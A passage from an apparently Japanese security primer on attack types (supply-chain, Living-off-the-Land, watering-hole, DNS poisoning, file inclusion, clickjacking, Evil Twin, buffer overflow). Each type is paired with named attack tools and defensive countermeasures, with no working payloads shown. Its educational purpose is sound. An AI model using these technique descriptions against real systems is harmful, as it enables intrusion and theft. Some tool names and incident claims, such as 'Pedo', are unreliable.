- SolarWinds Orion: 2020年の有名なサプライチェーン攻撃事件に関連するツールである。攻撃者は、SolarWindsのソフトウェアアップデートに悪意のあるコードを挿入し、これをインストールした企業のネットワークに侵入した。この手法では、正当なソフトウェアアップデートの配信経路が悪用された。
- Golden Ticket Attack: 特定の認証情報(通常はKerberosのチケット)を不正に作成して、ターゲットシステムにアクセスする手法。これをサプライチェーン攻撃に使用することで、攻撃者は取引先の認証情報を盗み出し、その情報を用いてターゲットシステムにアクセスする。
🕵️♂️2. 攻撃手法
- ソフトウェアの更新経路の悪用: 攻撃者は正規のソフトウェアベンダーやサプライヤーにマルウェアを仕込むことによって、ターゲット企業のシステムに不正アクセスする。ソフトウェアアップデートの正当性を信じてユーザーがインストールすることで、マルウェアが展開される。この手法は、企業が使用している業務用ソフトウェアや管理ツールに特に有効である。
- コードの改竄: 開発者や第三者のソースコードに悪意のあるコードを挿入する。これにより、サプライチェーン内で不正アクセスを獲得し、最終的にターゲットシステムに侵入する。攻撃者は、ターゲット企業の製品やサービスに不正アクセスする手段としてこれを活用する。
- サプライヤーの認証情報の盗難: サプライチェーンに関わる第三者のアクセス情報を盗み、それを使用してターゲット企業のネットワークに侵入する。この手法では、サプライヤー側のセキュリティが弱い場合に、攻撃者は簡単にアクセスを得ることができる。
- 不正なハードウェアの導入: 攻撃者は製品やハードウェアに不正なチップやマルウェアを組み込むこともある。これにより、サプライチェーン経由で侵入し、企業ネットワークにアクセスする手段として利用される。
🛡 サプライチェーン攻撃に対する対応策
✅1. サプライチェーンのセキュリティ強化
- 対応策: 企業はサプライチェーン全体に対してセキュリティ基準を設け、取引先がその基準を満たすことを確認する必要がある。これには、サプライヤーのセキュリティ監査や第三者の認証制度を導入することが含まれる。サプライヤーと共有する情報を最小限に抑え、アクセス権限も制限する。
✅2. ソフトウェア更新の監視
- 対応策: ソフトウェアやシステムのアップデートが信頼できるソースから提供されていることを確認するために、常に監視体制を強化する。例えば、ソフトウェアアップデートが不正に改竄されていないかを検証するためのツールを導入する。また、アップデートが適用される前にテスト環境で検証することも有効である。
✅3. コードの署名と検証
- 対応策: ソフトウェアの開発過程でコード署名を行い、ソースコードに不正な変更が加えられていないことを確認する。コード署名を使うことで、信頼された開発者によって提供されたソフトウェアであることを証明できる。加えて、開発者にはコードレビュープロセスを徹底させ、悪意のあるコードが組み込まれないようにする。
✅4. アクセス権限と認証の強化
- 対応策: サプライチェーン全体で厳格なアクセス制御を実施し、最小権限の原則を守る。特に、取引先の従業員やシステムが企業ネットワークにアクセスする際の認証方法を強化し、多要素認証(MFA)を導入する。
✅5. ネットワーク監視と異常検知
- 対応策: サプライチェーン内の通信やデータ転送を監視し、異常なトラフィックや予期しない挙動がないかを検出する。攻撃者はしばしばネットワークを介して横移動し、異常な通信を発生させるため、リアルタイムの監視が重要となる。
✅6. インシデント対応計画の策定
- 対応策: サプライチェーン攻撃が発生した場合に備え、インシデント対応計画を策定する。この計画には、サプライヤーとの連携方法や、攻撃が発覚した際に迅速に対処するための手順が含まれているべきである。また、被害を最小限に抑えるために、迅速なデータバックアップと復旧手順も確立しておく。
✅7. セキュリティパートナーとの連携
- 対応策: セキュリティ専門家やサービスプロバイダと連携し、サプライチェーンのセキュリティ対策を強化する。第三者の専門的なセキュリティ評価や脆弱性テストを活用して、事前にリスクを評価し、対策を講じることが重要である。
🔍サプライチェーン攻撃の事例:
- 2020年「SolarWindsハッキング」: IT管理ソフト「SolarWinds Orion」にマルウェアが仕込まれ、多数の政府機関が侵害。
サプライチェーン攻撃は、ターゲット企業を直接攻撃するのではなく、その取引先やサプライヤーを悪用して侵入を試みる高度な手法である。攻撃者は、ソフトウェアの更新経路やコードの改竄、不正なハードウェアを利用して、ターゲットシステムにアクセスする。これに対する対応策としては、サプライチェーンのセキュリティ強化、ソフトウェアの監視、アクセス権限の管理、異常検知体制の強化、インシデント対応計画の策定などが必要である。
💥LotL(Living off the Land)攻撃
概要: LotL(Living off the Land)攻撃は、攻撃者がターゲットシステムにすでに存在しているツールや機能を悪用して攻撃を行う手法である。この攻撃方法では、悪意のあるコードをシステムに新たに導入するのではなく、既存のツールや管理機能を利用するため、従来のセキュリティ防御が効果を発揮しにくい特徴を持つ。
🛠 LotL攻撃に使われる具体的なツールと手法
⚔️1. PowerShell
- 概要: PowerShellはWindowsに標準で搭載されているスクリプト言語およびシェルであり、攻撃者はこれを利用して、コマンドの実行、スクリプトの読み込み、システムの操作を行う。PowerShellは管理者権限を持っている場合が多く、システム内で任意のコードを実行できる。
- 攻撃手法: PowerShellスクリプトを使用して、ネットワークスキャン、マルウェアのダウンロード、バックドアの作成、情報の収集などを行う。PowerShellのコマンドを直接実行することにより、ファイアウォールやウイルス対策ソフトウェアを回避できる。
⚔️2. WMI (Windows Management Instrumentation)
- 説明: WMIはWindowsの管理機能で、システムの監視や管理を行うために使用される。攻撃者はこれを使って、リモートでコマンドを実行したり、システムの情報を取得したりする。
- 攻撃手法: 攻撃者はWMIを使用して、ターゲットシステム上でバックドアを設置したり、他のマルウェアをリモートで実行する。WMIは正当な管理ツールとして使用されているため、セキュリティシステムでの検出を避けやすい。
⚔️3. Scheduled Tasks (スケジュールタスク)
- 説明: Windowsのスケジュールタスク機能を使うことで、攻撃者はシステム上で自動的に定期的なタスクを実行させることができる。この方法は攻撃者がシステムにリモートでアクセスしてマルウェアを実行する手段として活用される。
- 攻撃手法: 攻撃者はスケジュールタスクを設定し、システムが再起動するたびに特定の悪意のあるスクリプトやコードを実行させることができる。スケジュールタスクは通常、管理者権限で実行されるため、システムの完全な制御を奪うことが可能である。
⚔️4. PsExec
- 説明: PsExecは、Windowsのリモート管理ツールで、他のマシンでコマンドを実行するために使用される。攻撃者はこれを悪用して、ターゲットシステムにコマンドをリモートで送信し、システムを制御する。
- 攻撃手法: PsExecを使用して、他のネットワーク上のコンピュータにアクセスし、任意のコマンドを実行する。これにより、攻撃者は悪意のあるコマンドをターゲットシステムに送信して、感染させることができる。
⚔️5. Living off the Land Binaries and Scripts (LotL Binaries)
- 説明: 攻撃者は、標準的なオペレーティングシステムの機能やバイナリ(例えば、certutilやbitsadminなど)を使用して、システムに侵入し、情報を取得したりマルウェアをダウンロードする。
- 攻撃手法: certutilは、証明書の管理に使用されるコマンドラインツールだが、攻撃者はこれを利用して、リモートサーバーから悪意のあるファイルをダウンロードし、システムに感染させることができる。
🛡 LotL攻撃に対する対応策
✅1. PowerShellの制限
- 対応策: PowerShellの実行ポリシーを設定して、スクリプトの実行を制限する。
Set-ExecutionPolicy
コマンドを使用して、未承認のスクリプトを実行できないようにする。また、PowerShellのスクリプト実行ログを有効にして、不正なコマンドの実行を監視する。
✅2. WMIの監視と制限
- 対応策: WMIの使用を制限するために、WMIアクセスの監視を行い、必要ないサービスやアクセスを無効にする。さらに、異常なWMI操作を検出するためのログ監視やSIEM(Security Information and Event Management)を導入する。
✅3. スケジュールタスクの監視
- 対応策: スケジュールタスクを定期的に監査し、不正なタスクが設定されていないかを確認する。また、異常なタスクの実行を検知するために、タスクスケジューラのログを監視し、疑わしいアクティビティをリアルタイムで確認できる体制を整える。
✅4. 管理者権限の制限
- 対応策: 管理者権限を持つアカウントの数を最小限に抑え、最小権限の原則に基づいたアクセス管理を実施する。また、リモートでアクセスできる管理者アカウントの設定を厳格に制限し、不正アクセスを防止する。
✅5. 標準バイナリやツールの監視
- 対応策: certutilやbitsadminなどの標準ツールが不正に使用されていないかを監視する。これらのツールを不正に利用してデータを外部に送信することがあるため、監視体制を強化し、リアルタイムでの異常検出を行う。
✅6. ホワイトリストの利用
- 対応策: ホワイトリスト技術を活用して、信頼されたアプリケーションやツールのみが実行されるように制限する。これにより、標準的なツールが悪用されても、その使用を制限し、攻撃を防止する。
✅7. 侵入検知システム(IDS)の強化
- 対応策: IDSを導入し、LotL攻撃を含む不正アクセスをリアルタイムで検知する。攻撃者は通常、システムの標準機能を悪用して行動するため、IDSは異常な動作を捉えるのに効果的である。
🔍LotL(Living off the Land)攻撃の事例:
- 2017年「NotPetya攻撃」: Windows標準の管理ツールを悪用し、検出を回避しながら攻撃。
LotL(Living off the Land)攻撃は、攻撃者がターゲットシステムに存在するツールや機能を利用して侵害行為を行う手法であり、一般的なセキュリティ対策を回避しやすい。PowerShell、WMI、スケジュールタスク、PsExecなどの標準ツールが攻撃に利用される。これに対する対応策としては、これらツールの制限や監視、アクセス権限の厳格な管理、侵入検知システム(IDS)の導入などが有効である。
💥Watering Hole Attack (水飲み場攻撃)
概要: Watering Hole Attack(水飲み場攻撃)は、攻撃者が特定のターゲットグループがよく訪れるウェブサイトにマルウェアを仕込む手法である。この攻撃方法は、特定の企業や団体の従業員を狙い、その従業員が訪れる可能性の高いサイトを利用して、ターゲットシステムを感染させることを目的とする。
🛠 Watering Hole Attackに使われる具体的なツールと手法
⚔️1. 悪意のあるコードの挿入
- 説明: 攻撃者はターゲットとなるサイトに悪意のあるコード(例: JavaScript、Flash、埋め込まれた広告)を挿入する。このコードは、訪問者のブラウザやシステムに自動的にマルウェアをダウンロードさせる。
- 攻撃手法: 攻撃者はターゲットとなるサイトにアクセスし、Webサーバにマルウェアを配布するための悪意あるスクリプトを埋め込む。訪問者はそのウェブページを閲覧することで、自動的にマルウェアに感染する。
⚔️2. ドライブバイダウンロード攻撃
- 説明: ドライブバイダウンロード攻撃は、ユーザーがウェブサイトを訪れただけでマルウェアがダウンロードされる仕組みである。特に、JavaやFlash、PDFなどの脆弱性を悪用する。
- 攻撃手法: 攻撃者はターゲットグループが訪れる可能性の高いウェブサイトに、ブラウザの脆弱性を突いて自動的にマルウェアをダウンロードするスクリプトを仕込む。これにより、ユーザーがページを閲覧しただけで感染が広がる。
⚔️3. 偽のセキュリティ更新
- 説明: 攻撃者は、ターゲットが訪れやすいサイトに偽のセキュリティアップデートを提供するポップアップやダイアログボックスを表示させる。
- 攻撃手法: ターゲットがサイトにアクセスした際、偽のセキュリティアップデート画面が表示され、ユーザーはそれを実行するように誘導される。実際には、マルウェアがインストールされるだけである。
⚔️4. セッションハイジャック
- 説明: 攻撃者がターゲットサイトを攻撃し、訪問者のセッション情報を盗み取る。
- 攻撃手法: 攻撃者はターゲットとなるウェブサイトの脆弱性を利用してセッションを乗っ取り、訪問者の個人情報や認証情報を盗む。これにより、ターゲットユーザーを不正に特定のサービスやサイトにアクセスさせることができる。
⚔️5. CVE(Common Vulnerabilities and Exposures)を利用した攻撃
- 説明: 攻撃者は、ターゲットグループが訪れるウェブサイトで既知の脆弱性を利用してマルウェアを配布する。
- 攻撃手法: 攻撃者は、ターゲットがよく訪れるウェブサイトにおいて未修正の脆弱性を突き、マルウェアを配布する。これには、CMS(コンテンツ管理システム)やウェブアプリケーションの脆弱性を利用することが含まれる。
🛡 Watering Hole Attackに対する対応策
✅1. 脆弱性の管理と修正
- 対応策: ターゲットとなるウェブサイトが使用しているソフトウェア、プラグイン、フレームワークなどにおける脆弱性を積極的に管理し、迅速にパッチを適用する。特に、広く使用されているコンテンツ管理システム(CMS)や、JavaScriptライブラリ、ブラウザプラグインにおける脆弱性を把握し、定期的に更新することが重要である。
✅2. ウェブサイトのセキュリティ強化
- 対応策: ターゲットとなるウェブサイトは、セキュリティ対策を強化する必要がある。これは、WAF(Web Application Firewall)やIDS(Intrusion Detection System)を使用して、ウェブサイトのトラフィックを監視し、不審なアクセスや攻撃パターンを検出することにより実現できる。
✅3. SSL/TLSの利用
- 対応策: ウェブサイトは、SSL/TLS暗号化を使用して、通信を暗号化し、中間者攻撃(MITM)や通信内容の盗聴を防ぐ。また、HTTPS通信を強制することで、攻撃者が悪意のあるスクリプトを挿入することを防ぐ。
✅4. ユーザー教育と意識向上
- 対応策: ユーザーに対して、疑わしいリンクやポップアップをクリックしないよう教育することが重要である。特に、偽のセキュリティ更新を警戒するよう指導し、知らないサイトからのダウンロードを避けるべきである。
✅5. サイトの定期的な監査
- 対応策: 定期的にウェブサイトを監査し、悪意のあるコードや不正な変更が行われていないか確認する。特に、外部の広告やJavaScriptコードなどが悪用されていないかをチェックすることが必要である。
✅6. ネットワークと端末のセキュリティ強化
- 対応策: ネットワーク内の端末にセキュリティソフトウェアをインストールし、マルウェアの感染を検出する。アンチウイルスソフトやファイアウォールを適切に構成し、不正アクセスを防ぐことが大切である。
🔍CVE(Common Vulnerabilities and Exposures)を利用した攻撃事例:
- 2013年「Facebook・Appleの開発者攻撃」: 開発者向けサイトにマルウェアを仕込み、企業のシステムに侵入
Watering Hole Attack(水飲み場攻撃)は、ターゲットとなるグループがよく訪れるウェブサイトにマルウェアを仕込む攻撃手法であり、特定の企業や組織を狙って、ユーザーが無防備な状態で攻撃者の罠にかかることを狙っている。攻撃者は、悪意のあるコードを埋め込む、脆弱性を突く、偽のセキュリティ更新を提供するなどの手法を用いる。この攻撃に対する対応策としては、脆弱性の管理、ウェブサイトのセキュリティ強化、SSL/TLSの導入、ユーザー教育、定期的な監査が必要である。
💥DNS Poisoning (DNSキャッシュポイズニング)
概要: DNS Poisoning (DNSキャッシュポイズニング)は、DNS(ドメインネームシステム)のキャッシュに偽の情報を挿入し、ユーザーを悪意のあるサイトへ誘導する攻撃手法である。この攻撃により、攻撃者は本来のウェブサイトへのアクセスを別の悪意のあるサイトに変更し、機密情報を盗んだりマルウェアをインストールさせたりすることができる。
🛠 DNSキャッシュポイズニングに使われる具体的なツールと手法
⚔️1. DNS Spoofing
- 説明: DNS Spoofingは、DNSリクエストに対して偽のDNS応答を送りつける攻撃手法である。攻撃者は、DNSサーバに対して偽のIPアドレスを返し、ユーザーが間違ったサイトにアクセスするように仕向ける。
- ツール:
- dnsspoof: DNSリクエストを偽装し、指定されたIPアドレスに転送させるツール。
- Ettercap: ネットワーク上でのパケットインジェクションを行い、DNSキャッシュポイズニングを実行する。
- Cain and Abel: ネットワーク上でDNS応答を偽装する攻撃ツール。
⚔️2. Man-in-the-Middle (MITM) 攻撃
- 説明: MITM攻撃では、攻撃者がクライアントとDNSサーバ間の通信を傍受し、偽のDNS応答を挿入する。この方法で、攻撃者はリクエストされたドメインに対応する不正なIPアドレスを返す。
- ツール:
- Wireshark: ネットワークトラフィックをキャプチャし、DNSリクエストや応答を解析して攻撃に利用する。
- SSLstrip: HTTPS通信をHTTPにダウングレードさせて、セキュリティ保護されていない通信を介してDNSポイズニングを行う。
⚔️3. DNS Cache Poisoning on Recursive DNS Servers
- 説明: 攻撃者は、再帰的なDNSサーバに対して偽のDNS応答を送り、キャッシュに不正なレコードを挿入する。この手法では、攻撃者が特定のサイトへのアクセスを操作することができる。
- ツール:
- Metasploit: 脆弱なDNSサーバをターゲットにして、偽のDNS応答を送信する攻撃モジュールを使用する。
🛡 DNSキャッシュポイズニングに対する対応策
✅1. DNSSEC (DNS Security Extensions) の導入
- 対応策: DNSSECは、DNSの応答を署名することで、DNSリクエストが正当なものであることを確認できる仕組みである。これにより、偽のDNS応答を送信する攻撃を防ぐことができる。
- 詳細: DNSSECでは、DNSサーバが送信する情報にデジタル署名を付加するため、改ざんされたDNS情報を受け取ることがなくなり、攻撃者による偽のDNSレコードの挿入が防止される。
✅2. キャッシュの有効期限の短縮
- 対応策: DNSサーバのキャッシュに保存される情報の有効期限を短縮することで、攻撃者が偽情報を長期間保持するのを防ぐことができる。
- 詳細: TTL(Time to Live)の設定を短くすることで、キャッシュされたDNS情報がすぐに期限切れとなり、攻撃者が長時間偽の情報を保持できなくなる。
✅3. DNSリクエストの監視と検査
- 対応策: ネットワーク上のDNSトラフィックを監視し、不審なDNS応答やDNSリクエストのパターンを検出することで、ポイズニングの兆候を早期に察知できる。
- 詳細: IDS(Intrusion Detection System)やIPS(Intrusion Prevention System)を使用して、DNSトラフィックをリアルタイムで監視し、不正なリクエストや応答を検出することが有効である。
✅4. DNSサーバのセキュリティ強化
- 対応策: DNSサーバがポイズニング攻撃に対して脆弱でないよう、サーバの設定を適切に行い、セキュリティパッチを定期的に適用することが重要である。
- 詳細: DNSサーバのアクセス制限、最新のセキュリティパッチの適用、不要なサービスの無効化を行うことにより、攻撃者による侵入を防ぐことができる。
✅5. DNSサーバの分散化
- 対応策: 複数のDNSサーバを使用することで、攻撃者が1つのDNSサーバを攻撃しても、他のサーバで正常な情報を取得できるようにする。
- 詳細: 複数の信頼できるDNSサーバを使用して、冗長化を行うことで、1つのサーバが攻撃を受けても全体のシステムが影響を受けにくくなる。
✅6. ホストファイルの管理と監視
- 対応策: ユーザーの端末にあるホストファイルを監視し、DNSポイズニングによって不正なサイトにリダイレクトされることを防ぐ。
- 詳細: 定期的にホストファイルを確認し、不正なエントリが追加されていないかチェックすることが推奨される。
🔍DNS Poisoning (DNSキャッシュポイズニング)攻撃の事例:
- 中国のグレートファイアウォール (継続中, 中国): DNS Poisoningを利用し、国外のサイトへのアクセスを遮断。
💥File inclusion(ファイルインクルード)攻撃
概要: File inclusion(ファイルインクルード)攻撃は攻撃者がウェブアプリケーションに対して不正なファイルを読み込ませる攻撃手法である。この攻撃は、リモートの悪意あるファイルをインクルード(読み込み)させることで、システムに対する制御を奪ったり、機密情報を盗んだり、システムの脆弱性を利用して不正操作を行ったりする。
🛠 ファイルインクルード攻撃に使われる具体的なツールと手法
⚔️1. リモートファイルインクルード(RFI)
- 説明: リモートファイルインクルードは、攻撃者がリモートサーバに存在する悪意のあるファイルをターゲットシステムにインクルードさせる攻撃手法である。ウェブアプリケーションがユーザー入力を適切にサニタイズせずにファイルを読み込む場合、攻撃者は任意のURLを指定して悪意のあるファイルを読み込ませることができる。
- ツール:
- Burp Suite: リクエストをインターセプトして、リモートの悪意あるファイルを指定し、インクルードさせることができる。
- Nikto: ウェブサーバの脆弱性をスキャンし、リモートファイルインクルードの脆弱性を発見するツールである。
⚔️2. ローカルファイルインクルード(LFI)
- 説明: ローカルファイルインクルードは、攻撃者がターゲットサーバ内のローカルファイルを読み込ませる攻撃手法である。ウェブアプリケーションが不適切にユーザーからの入力を処理し、システム内のローカルファイルを読み込む場合、攻撃者は「../」を使ってディレクトリトラバーサルを試み、機密ファイルを取得することができる。
- ツール:
- DirBuster: ファイルインクルードの脆弱性を探すために、ウェブアプリケーション内のディレクトリやファイルをブルートフォースで探索するツールである。
- OWASP ZAP: ローカルファイルインクルードやディレクトリトラバーサル攻撃を検出するために使用される。
⚔️3. ディレクトリトラバーサル攻撃
- 説明: ディレクトリトラバーサル攻撃は、攻撃者が「../」や「..\」などを使って、予期しない場所にアクセスし、ローカルファイルをインクルードさせる攻撃手法である。この攻撃により、攻撃者はサーバー上の機密ファイルや設定ファイルを取得することが可能となる。
- ツール:
- Burp Suite: リクエストのパラメータを操作し、ディレクトリトラバーサルを試みることで、ローカルファイルへのアクセスを試みることができる。
- Wfuzz: ウェブアプリケーションのファイルインクルードやディレクトリトラバーサルを発見するためのツールである。
🛡 ファイルインクルード攻撃に対する対応策
✅1. ユーザー入力の適切なサニタイズと検証
- 対応策: ユーザーからの入力を適切にサニタイズし、ファイル名やパスに悪意のある文字(例:
../
や..\\
)を含まないように検証することが重要である。入力がファイル名やパスとして安全かを確認し、不正なアクセスを防ぐ。 - 詳細: 文字列検証(ホワイトリスト方式)を使用し、ファイルパスやファイル名に含まれる文字や文字列が適切であるかを確認する。
✅2. 絶対パスの使用
- 対応策: ファイルインクルード時には、相対パスではなく、必ず絶対パスを使用することで、不正なファイルアクセスを防止する。これにより、攻撃者がディレクトリを遡ることを防ぐことができる。
- 詳細: システム内のファイルにアクセスする際は、常に絶対パスを使用し、ユーザーからの入力に基づいてパスを動的に構成しないようにする。
✅3. ファイルインクルードを制限する
- 対応策: ファイルインクルードの処理を最小限に抑え、外部ファイルのインクルードを完全に禁止することが推奨される。もし外部ファイルのインクルードが必要であれば、信頼できるリストからのみインクルードするように制限する。
- 詳細: 外部ファイルのインクルードを避け、インクルードするファイルを信頼できるものに限定する。
✅4. ディレクトリトラバーサルを防止する
- 対応策: ユーザーが入力したファイルパスに「../」などのディレクトリトラバーサルシーケンスが含まれていないかを検証し、不正なディレクトリアクセスを防ぐ。
- 詳細: ディレクトリトラバーサルを検出するための正規表現やフィルタリングを使用し、パスを制限する。
✅5. アクセス制御と権限設定
- 対応策: サーバー上のファイルやディレクトリには適切なアクセス制御を設定し、ウェブサーバーが不正にファイルをインクルードすることがないようにする。また、ファイルやディレクトリに対する最小権限の原則を適用する。
- 詳細: ファイルへのアクセス権限を適切に設定し、公開しないべきファイルやディレクトリにはアクセスできないようにする。
✅6. 脆弱性スキャンとペネトレーションテスト
- 対応策: 定期的にウェブアプリケーションの脆弱性スキャンを実施し、ファイルインクルード脆弱性を発見する。また、ペネトレーションテストを行い、実際に攻撃をシミュレートすることで脆弱性を早期に発見し修正する。
- 詳細: 自動化ツール(例: Nikto、OWASP ZAP)を使用してウェブアプリケーションのファイルインクルード脆弱性を検出し、修正を行う。
✅7. allow_url_include
の無効化
- PHP設定で、
allow_url_include
を無効にすることで、リモートファイルインクルード(RFI)の攻撃を防ぐ。
🔍File inclusion(ファイルインクルード)攻撃の事例:
- 2013年 「WordPress プラグインの脆弱性」:WordPressの一部プラグインに、ファイルインクルードの脆弱性が発見された。この脆弱性により、攻撃者はリモートから悪意のあるファイルをインクルードできるようになり、WordPressサイトに悪意のあるコードを挿入することが可能となった。結果として、サイトが改ざんされ、攻撃者がサーバー上でコードを実行することができるようになった。
- 2016年 - RFI(リモートファイルインクルード)攻撃:リモートファイルインクルード(RFI)を利用した攻撃が広く報告された。攻撃者は、サーバーにリモートの悪意のあるスクリプトをインクルードさせ、これを実行することで、サーバーの制御を奪うことができた。
- 2019年 - Uber (米国):Uberのウェブアプリケーションにおいて、ファイルインクルード攻撃を利用された事例が報告された。攻撃者は、脆弱性を突いてサーバー上の機密情報にアクセスし、不正にデータを取得した。
- 2020年 - Magento (グローバル):ECサイト向けのCMS(コンテンツ管理システム)であるMagentoに、リモートファイルインクルード(RFI)の脆弱性が発見された。攻撃者はこの脆弱性を利用して、サーバーに悪意のあるファイルをインクルードし、ECサイトにアクセスしていたクレジットカード情報を不正に取得した。
ファイルインクルード攻撃は、攻撃者がウェブアプリケーションに対して不正なファイルを読み込ませ、システムを操作したり、機密情報を盗んだりする攻撃である。リモートファイルインクルード(RFI)やローカルファイルインクルード(LFI)、ディレクトリトラバーサル攻撃が主な手法であり、対応策としては、ユーザー入力のサニタイズ、絶対パスの使用、ファイルインクルードの制限、アクセス制御、脆弱性スキャンの実施が重要である。
💥Clickjacking (クリックジャッキング)
概要: Clickjacking (クリックジャッキング) は、ユーザーを騙して意図しない操作をさせる攻撃手法である。この攻撃では、透明なiframeやその他の要素を使って、ユーザーが見ているページの上に別のページやコンテンツを重ね、ユーザーがクリックした際に悪意のあるアクションを実行させる。
🛠 Clickjacking攻撃の具体的なツールや手法
- ⚔️透明iframeの利用
- 攻撃者は透明なiframeをターゲットのウェブページに埋め込み、ユーザーが本来クリックしようとしている要素の背後に配置する。このiframe内に、攻撃者が操作させたいボタンやリンクが含まれている。
- 例: ソーシャルメディアで「いいね」ボタンをクリックさせたり、銀行の「送金」ボタンをクリックさせたりする。
- ⚔️CSSを利用した位置ずれ
- 攻撃者はCSSを利用して、ユーザーがクリックすべきボタンと実際に押されるボタンが異なる位置に重なるように配置する。この手法で、ユーザーがクリックした場所に悪意のあるアクションが実行される。
- ⚔️ポップアップやモーダルウィンドウ
- 攻撃者はポップアップやモーダルウィンドウを利用して、ユーザーが気づかないうちに悪意のある操作を実行させることがある。
🛡 Clickjacking攻撃の対応策
- ✅X-Frame-Options ヘッダー
X-Frame-Options
ヘッダーを利用して、外部サイトが自サイトをiframe内で表示できないように制限する。このヘッダーには次のオプションがある。DENY
: 自サイトをiframe内で表示させない。SAMEORIGIN
: 自サイトのコンテンツだけをiframe内に表示させる。
- これにより、クリックジャッキング攻撃を防ぐことができる。
- ✅Content Security Policy (CSP)
- CSPを利用して、
frame-ancestors
ディレクティブを設定し、どのドメインが自サイトをiframe内で表示できるかを制限することができる。これにより、クリックジャッキング攻撃をさらに防止できる。
- CSPを利用して、
- ✅UI要素の保護
- ボタンやリンクに透明なオーバーレイを設置し、ユーザーがその要素をクリックした場合に意図しない操作が行われないようにする。たとえば、HTML要素に対して
pointer-events: none;
を適用することで、透明なレイヤー上でユーザーが誤ってクリックすることを防げる。
- ボタンやリンクに透明なオーバーレイを設置し、ユーザーがその要素をクリックした場合に意図しない操作が行われないようにする。たとえば、HTML要素に対して
- ✅JavaScriptを使った保護
- JavaScriptを利用して、クリックイベントがiframe内から発生した場合に警告を表示する。これにより、iframeが攻撃者のページである場合に、ユーザーに対して警告を表示することができる。
- ✅ユーザー教育
- ユーザーに対して、信頼できないリンクやボタンをクリックしないように注意を促す教育を行う。クリックジャッキングは、通常、ソーシャルエンジニアリングの一部として利用されるため、ユーザー自身のセキュリティ意識が重要である。
🔍Clickjacking (クリックジャッキング) 攻撃の事例:
- 2011年 Facebook Likejacking (グローバル): ユーザーが知らぬ間に「いいね!」を押すよう仕向ける攻撃。
💥Evil Twin Attack (悪意のあるWi-Fiスポット攻撃)
概要: Evil Twin Attack (悪意のあるWi-Fiスポット攻撃) は、攻撃者が合法的なWi-Fiアクセスポイントに似た偽のWi-Fiネットワークを作成し、ユーザーをそのネットワークに接続させて情報を盗み取る攻撃手法である。この攻撃では、攻撃者が意図的に正規のWi-Fiネットワークと同じSSID(ネットワーク名)を使用し、利用者をだまして接続させる。
🛠 Evil Twin Attack攻撃の具体的なツールや手法
- ⚔️Aircrack-ng
- Aircrack-ng は、Wi-Fiネットワークのセキュリティを評価するためのツールであり、Evil Twin Attackの攻撃においても利用される。攻撃者はこのツールを使って、ターゲットとなるWi-FiネットワークのSSIDをキャプチャし、そのSSIDと同じ名前で偽のアクセスポイントを作成する。
- ⚔️HostAPD
- HostAPD は、Linuxベースのプラットフォームで仮想アクセスポイントを作成できるツールである。これを使って攻撃者は、ターゲットのWi-Fiネットワークと同じSSIDを持つ偽のアクセスポイントをセットアップし、ユーザーに接続させる。
- ⚔️Karma Attack
- Karma Attack は、デバイスが過去に接続したことのあるWi-Fiネットワークに自動的に接続しようとする性質を利用した攻撃手法である。攻撃者は偽のアクセスポイントを設定し、ユーザーが過去に接続したことのあるSSIDに一致する偽のWi-Fiを提供することで、ユーザーをだます。
- ⚔️Wi-Fi Pineapple
- Wi-Fi Pineapple は、悪意のあるWi-Fi攻撃に特化したツールであり、Evil Twin Attackを実行するために利用されることが多い。攻撃者はこれを使って偽のWi-Fiアクセスポイントを設定し、ターゲットに接続させる。このツールには高度なフィルタリング機能や、偽のアクセスポイントに接続したユーザーのトラフィックをキャプチャする機能も搭載されている。
🛡 Evil Twin Attack攻撃の対応策
- ✅VPN(Virtual Private Network)の使用
- VPNを利用することで、公共のWi-Fiに接続した際の通信を暗号化し、攻撃者が偽のWi-Fiネットワークに接続したとしても、その通信内容を盗聴されにくくする。VPNは、Wi-Fiスニファー攻撃に対して効果的な防御策となる。
- ✅Wi-Fiネットワークの接続先を手動で選択
- ユーザーは、接続するWi-Fiネットワークを手動で選択するべきである。自動接続機能を無効にし、不明なネットワークに接続しないようにすることで、偽のアクセスポイントへの接続を避けることができる。
- ✅Wi-Fiアクセスポイントの監視
- 管理者は、使用しているアクセスポイントが偽装されたものかを確認するために、定期的にネットワークを監視すべきである。SSIDやMACアドレスのスキャンを行い、正当なアクセスポイント以外の接続を防ぐ。
- ✅HTTPS接続の利用
- ユーザーは、常にウェブサイトにアクセスする際にHTTPS(安全なHTTP)を使用し、SSL/TLS暗号化された通信を行うべきである。これにより、悪意のあるWi-Fiネットワークを通じて盗聴されるリスクを軽減することができる。
- ✅ネットワーク認証の強化
- 企業などでは、Wi-Fiネットワークの認証を強化し、WPA3などの最新のセキュリティプロトコルを使用するべきである。また、MACアドレスフィルタリングやEAP(Extensible Authentication Protocol)を使用することで、ネットワークへの不正アクセスを防ぐ。
- ✅SSIDの隠蔽
- ネットワーク管理者は、アクセスポイントのSSIDを隠すことで、攻撃者がターゲットとなるWi-Fiネットワークを見つけにくくすることができる。しかし、この方法は完全な防御策ではないため、他のセキュリティ対策と併用することが推奨される。
🔍Evil Twin Attack (悪意のあるWi-Fiスポット攻撃)の事例:
- 2017年 ホテルWi-Fiハッキング (欧州): 高級ホテルのWi-FiがEvil Twin攻撃により顧客データが盗まれる。
Evil Twin Attackに対しては、上記の対策を組み合わせて実施することが、効果的な防御策となる。
💥Buffer Overflow (バッファオーバーフロー)
概要: Buffer Overflow (バッファオーバーフロー) は、プログラムがメモリに対して過剰にデータを書き込むことにより、隣接するメモリ領域に悪影響を及ぼす攻撃手法である。この攻撃は、悪意のあるコードをバッファに注入し、これを実行させることで、システムへの不正アクセスやコード実行を引き起こす。
🛠 Buffer Overflow攻撃の具体的なツールや手法
- ⚔️Metasploit Framework
- Metasploit Framework は、バッファオーバーフロー攻撃を含むさまざまな攻撃手法を支援するツールである。攻撃者は、このフレームワークを使って、ターゲットのシステムに対してバッファオーバーフローを仕掛けるためのエクスプロイトを作成し、悪意のあるコードを実行させることができる。
- ⚔️GDB (GNU Debugger)
- GDB は、プログラムの実行を解析し、メモリの状態を確認するためのデバッガである。攻撃者は、GDBを使用してターゲットプログラムの脆弱性を特定し、バッファオーバーフローを発生させるポイントを見つけることができる。これにより、攻撃者はシステム内で任意のコードを実行できる。
- ⚔️Pedo (Python Exploit Development Framework)
- Pedo は、Pythonで開発されたエクスプロイトツールであり、バッファオーバーフロー攻撃の作成に役立つ。攻撃者は、Pedoを使ってバッファオーバーフローを効果的に起動し、リモートシステムにアクセスするためのペイロードを注入することができる。
- ⚔️BOFuzz
